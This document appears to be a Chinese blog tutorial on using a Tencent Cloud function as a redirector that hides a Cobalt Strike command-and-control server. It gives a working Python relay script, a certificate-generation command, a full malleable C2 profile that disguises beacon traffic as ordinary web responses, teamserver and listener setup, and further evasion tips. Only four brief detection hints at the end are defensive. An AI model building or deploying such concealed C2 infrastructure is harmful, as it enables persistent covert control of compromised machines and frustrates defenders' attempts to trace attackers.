云函数隐藏C2爬坑记
字数 1434 2025-08-29 08:30:36

云函数隐藏C2技术实现指南

一、技术原理概述

云函数隐藏C2的核心原理是通过腾讯云函数作为中间代理,实现攻击者真实C2服务器的隐藏:

  1. 受害者主机 -> 腾讯云API网关 -> 云函数(Python脚本) -> 真实C2服务器
  2. 所有通信流量在受害者看来都是与腾讯云官方地址进行的,有效隐藏了真实C2服务器IP

二、环境准备

1. 腾讯云函数配置

  • 登录腾讯云控制台,进入"云函数"服务
  • 选择"函数服务"->"函数管理"->"新建"->"自定义创建"

2. Cobalt Strike环境

  • 准备Cobalt Strike 4.3版本服务器
  • 准备可用的VPS作为C2服务器

三、详细实施步骤

1. 云函数代码部署

# -*- coding: utf8 -*-
import json, requests, base64

def main_handler(event, context):
    C2 = 'http://<C2服务器地址>'  # 根据实际使用HTTP/HTTPS填写
    
    path = event['path']
    headers = event['headers']
    print(event)
    
    if event['httpMethod'] == 'GET':
        resp = requests.get(C2+path, headers=headers, verify=False)
    else:
        resp = requests.post(C2+path, data=event['body'], headers=headers, verify=False)
    
    print(resp.headers)
    print(resp.content)
    
    response = {
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    }
    return response

关键点说明

  • C2变量必须与后续CS profile配置一致
  • 代码实现了请求转发和响应返回的完整代理功能
  • 所有通信内容都经过Base64编码

2. 触发器配置

  1. 部署完代码后,进入"触发器管理"
  2. 创建API网关触发器
  3. 关键配置项:
    • 路径设置为/
    • 发布环境选择"发布"
  4. 测试API地址,确认云函数日志中有请求记录

3. Cobalt Strike证书生成

keytool -keystore cobaltStrike.store -storepass password -keypass password -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"

参数说明

  • -storepass-keypass设置证书密码(后续profile中需要使用)
  • -alias设置证书别名
  • -dname设置证书详细信息(可自定义)

4. Cobalt Strike Profile配置

set sample_name "kris_abao";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36";

https-certificate {
    set keystore "cobaltStrike.store";
    set password "Mm0000..";
    set C "US";
    set CN "jquery.com";
    set O "jQuery";
    set OU "Certificate Authority";
    set validity "365";
}

http-get {
    set uri "/api/getit";
    client {
        header "Accept";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}

http-stager {
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}

http-post {
    set uri "/api/postit";
    client {
        header "Accept";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

关键配置说明

  1. URI配置

    • http-gethttp-post的uri必须与云函数代码中的路径对应
    • 示例中使用/api/getit/api/postit
  2. 通信编码

    • 所有通信数据都使用Base64编码
    • 确保云函数和CS profile的编码方式一致
  3. HTTP头配置

    • 配置了合法的Content-Type和其他头信息
    • 模拟正常Web服务的响应特征
  4. 证书配置

    • 指向之前生成的cobaltStrike.store文件
    • 密码必须与生成证书时设置的密码一致

5. 启动Cobalt Strike服务器

./teamserver <vpsip> <password> c2.profile

注意事项

  • 将证书文件和profile文件放在同一目录
  • 确保服务器防火墙放行相应端口

6. 创建监听器

  1. 在Cobalt Strike客户端创建新的监听器
  2. 关键配置
    • 只能选择80(HTTP)或443(HTTPS)端口
    • 监听类型必须与云函数中配置的C2地址协议一致
    • 监听地址填写云函数API网关地址

四、测试与验证

  1. 生成Payload并执行
  2. 观察云函数日志,确认有流量通过
  3. 在Cobalt Strike的Web日志中查看请求记录
  4. 确认上线情况

常见问题排查

  • 如果无法上线,检查:
    1. 云函数日志是否有请求记录
    2. CS服务器日志是否有错误
    3. 协议和端口配置是否一致
    4. 证书密码是否正确

五、技术要点总结

  1. 隐蔽性优势

    • 所有通信都通过腾讯云官方地址进行
    • 有效隐藏真实C2服务器IP
    • 可利用腾讯云的CDN基础设施
  2. 配置关键点

    • 云函数代码中的C2地址必须真实有效
    • CS profile的URI配置必须与代码匹配
    • 通信编码方式必须一致(Base64)
    • 监听器端口只能使用80/443
  3. 扩展应用

    • 可结合域名伪装进一步增强隐蔽性
    • 可配置多个云函数实现负载均衡
    • 可修改User-Agent等特征规避检测

六、防御建议

对于防御方,检测此类攻击可关注:

  1. 异常访问腾讯云API地址的行为
  2. Base64编码的异常通信内容
  3. 不匹配的HTTP头信息
  4. 可疑的证书信息
云函数隐藏C2技术实现指南 一、技术原理概述 云函数隐藏C2的核心原理是通过腾讯云函数作为中间代理,实现攻击者真实C2服务器的隐藏: 受害者主机 -> 腾讯云API网关 -> 云函数(Python脚本) -> 真实C2服务器 所有通信流量在受害者看来都是与腾讯云官方地址进行的,有效隐藏了真实C2服务器IP 二、环境准备 1. 腾讯云函数配置 登录腾讯云控制台,进入"云函数"服务 选择"函数服务"->"函数管理"->"新建"->"自定义创建" 2. Cobalt Strike环境 准备Cobalt Strike 4.3版本服务器 准备可用的VPS作为C2服务器 三、详细实施步骤 1. 云函数代码部署 关键点说明 : C2 变量必须与后续CS profile配置一致 代码实现了请求转发和响应返回的完整代理功能 所有通信内容都经过Base64编码 2. 触发器配置 部署完代码后,进入"触发器管理" 创建API网关触发器 关键配置项: 路径设置为 / 发布环境选择"发布" 测试API地址,确认云函数日志中有请求记录 3. Cobalt Strike证书生成 参数说明 : -storepass 和 -keypass 设置证书密码(后续profile中需要使用) -alias 设置证书别名 -dname 设置证书详细信息(可自定义) 4. Cobalt Strike Profile配置 关键配置说明 : URI配置 : http-get 和 http-post 的uri必须与云函数代码中的路径对应 示例中使用 /api/getit 和 /api/postit 通信编码 : 所有通信数据都使用Base64编码 确保云函数和CS profile的编码方式一致 HTTP头配置 : 配置了合法的Content-Type和其他头信息 模拟正常Web服务的响应特征 证书配置 : 指向之前生成的 cobaltStrike.store 文件 密码必须与生成证书时设置的密码一致 5. 启动Cobalt Strike服务器 注意事项 : 将证书文件和profile文件放在同一目录 确保服务器防火墙放行相应端口 6. 创建监听器 在Cobalt Strike客户端创建新的监听器 关键配置 : 只能选择80(HTTP)或443(HTTPS)端口 监听类型必须与云函数中配置的C2地址协议一致 监听地址填写云函数API网关地址 四、测试与验证 生成Payload并执行 观察云函数日志,确认有流量通过 在Cobalt Strike的Web日志中查看请求记录 确认上线情况 常见问题排查 : 如果无法上线,检查: 云函数日志是否有请求记录 CS服务器日志是否有错误 协议和端口配置是否一致 证书密码是否正确 五、技术要点总结 隐蔽性优势 : 所有通信都通过腾讯云官方地址进行 有效隐藏真实C2服务器IP 可利用腾讯云的CDN基础设施 配置关键点 : 云函数代码中的C2地址必须真实有效 CS profile的URI配置必须与代码匹配 通信编码方式必须一致(Base64) 监听器端口只能使用80/443 扩展应用 : 可结合域名伪装进一步增强隐蔽性 可配置多个云函数实现负载均衡 可修改User-Agent等特征规避检测 六、防御建议 对于防御方,检测此类攻击可关注: 异常访问腾讯云API地址的行为 Base64编码的异常通信内容 不匹配的HTTP头信息 可疑的证书信息